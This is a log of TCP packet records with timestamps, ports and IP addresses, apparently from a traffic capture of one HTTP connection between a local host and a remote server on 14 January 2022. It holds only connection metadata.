Jan 14, 2022 20:24:04.455044985 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455070972 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455089092 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455106020 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455122948 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455142021 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455159903 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455173969 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455193043 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455209970 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.455254078 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.455290079 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.455292940 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.472692013 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494405031 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494437933 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494461060 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494486094 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494512081 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494535923 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494556904 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.494561911 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494586945 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494611025 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494632959 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494657040 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494683027 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494695902 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.494704962 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.494710922 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494735956 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494760036 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494785070 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494807959 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494810104 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.494815111 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.494817972 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.494833946 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494858027 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.494930029 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.494935989 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.512401104 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.512439966 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.512461901 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.512624025 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.533937931 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.533972025 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.533996105 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534020901 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534043074 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534066916 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534090042 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534096003 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534115076 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534138918 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534162998 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534177065 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534185886 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534212112 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534215927 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534240007 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534287930 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534317017 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534341097 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534364939 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534378052 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534390926 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534413099 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534430981 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534447908 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534463882 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534482956 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534482956 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534487963 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534490108 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534501076 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534517050 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534533978 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534550905 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534567118 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534584999 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534593105 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534598112 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534600019 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534603119 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534620047 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534637928 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534653902 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534672022 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534689903 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534689903 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534696102 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534698963 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534708977 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534725904 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534744024 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534786940 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534806013 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.534820080 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.534832954 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.535340071 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.552057981 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.552081108 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.552099943 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.552114010 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.552278996 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.573544979 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573565960 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573577881 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573590994 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573602915 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573616028 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573632002 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573648930 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573666096 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573683023 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573700905 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573714018 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573725939 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573736906 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.573744059 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573762894 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573780060 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573796988 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573808908 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.573813915 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573832035 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573843002 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.573860884 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573879004 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573898077 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573906898 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.573915005 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573932886 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573945999 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.573951006 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573968887 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.573977947 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.573987007 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574004889 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574016094 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574021101 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574038982 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574058056 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574060917 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574079037 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574096918 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574115038 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574131966 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574148893 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574151993 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574157953 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574160099 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574167013 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574184895 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574222088 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574239969 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574251890 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574259043 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574259996 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574275017 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.574295044 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.574393034 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.650806904 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668026924 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668054104 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668096066 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668126106 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668127060 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668143988 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668160915 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668175936 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668176889 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668195963 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668205023 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668215036 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668234110 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668243885 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668251991 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668268919 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668282032 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668287992 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668308020 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668325901 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668335915 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668343067 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668358088 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668363094 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668381929 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668395042 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668401003 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668421030 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668430090 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668438911 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668456078 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668467999 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668473005 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668492079 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668510914 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668519974 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668529034 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668546915 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668557882 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668562889 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668575048 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668581009 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668597937 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668615103 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668631077 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668649912 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668667078 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668668985 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668674946 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668677092 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668685913 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668703079 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668720007 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668729067 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668737888 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668756008 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668768883 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668775082 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668792963 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668804884 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668811083 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668828964 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668845892 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668863058 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668879986 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668881893 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668886900 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668889999 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.668899059 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.668916941 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.669028044 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.686924934 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.686944962 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.686961889 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.686979055 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.686997890 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687016010 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687024117 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687032938 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687052011 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687067986 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687099934 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687108994 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687112093 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687136889 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687154055 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687170982 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687186956 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687202930 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687218904 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687221050 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687226057 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687237978 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687257051 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687272072 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687273026 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687278032 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687289953 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687308073 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687323093 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687325001 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687341928 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687362909 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687376022 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687381983 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687393904 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687407017 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687418938 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687429905 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687443018 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687454939 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687468052 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687484980 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687501907 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687541008 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687558889 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687567949 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687578917 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687582970 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687588930 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687617064 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687618971 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687634945 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687650919 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687665939 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687683105 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687700033 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687716961 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687736034 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687752008 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687771082 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687781096 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687787056 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687788010 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687793016 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.687803984 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.687959909 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704309940 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704334974 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704350948 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704368114 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704397917 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704413891 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704432964 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704449892 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704456091 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704466105 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704474926 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704478979 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704483032 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704483986 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704499006 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704503059 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704519987 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704538107 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704555988 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704570055 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704581976 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704593897 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704605103 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704617023 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704627991 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704641104 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704658031 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704675913 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704693079 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704701900 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704711914 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704711914 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704715014 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704719067 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704729080 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704746962 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704761982 CET	80	49903	8.209.70.0	192.168.2.3
Jan 14, 2022 20:24:04.704780102 CET	49903	80	192.168.2.3	8.209.70.0
Jan 14, 2022 20:24:04.704780102 CET	80	49903	8.209.70.0	192.168.2.3
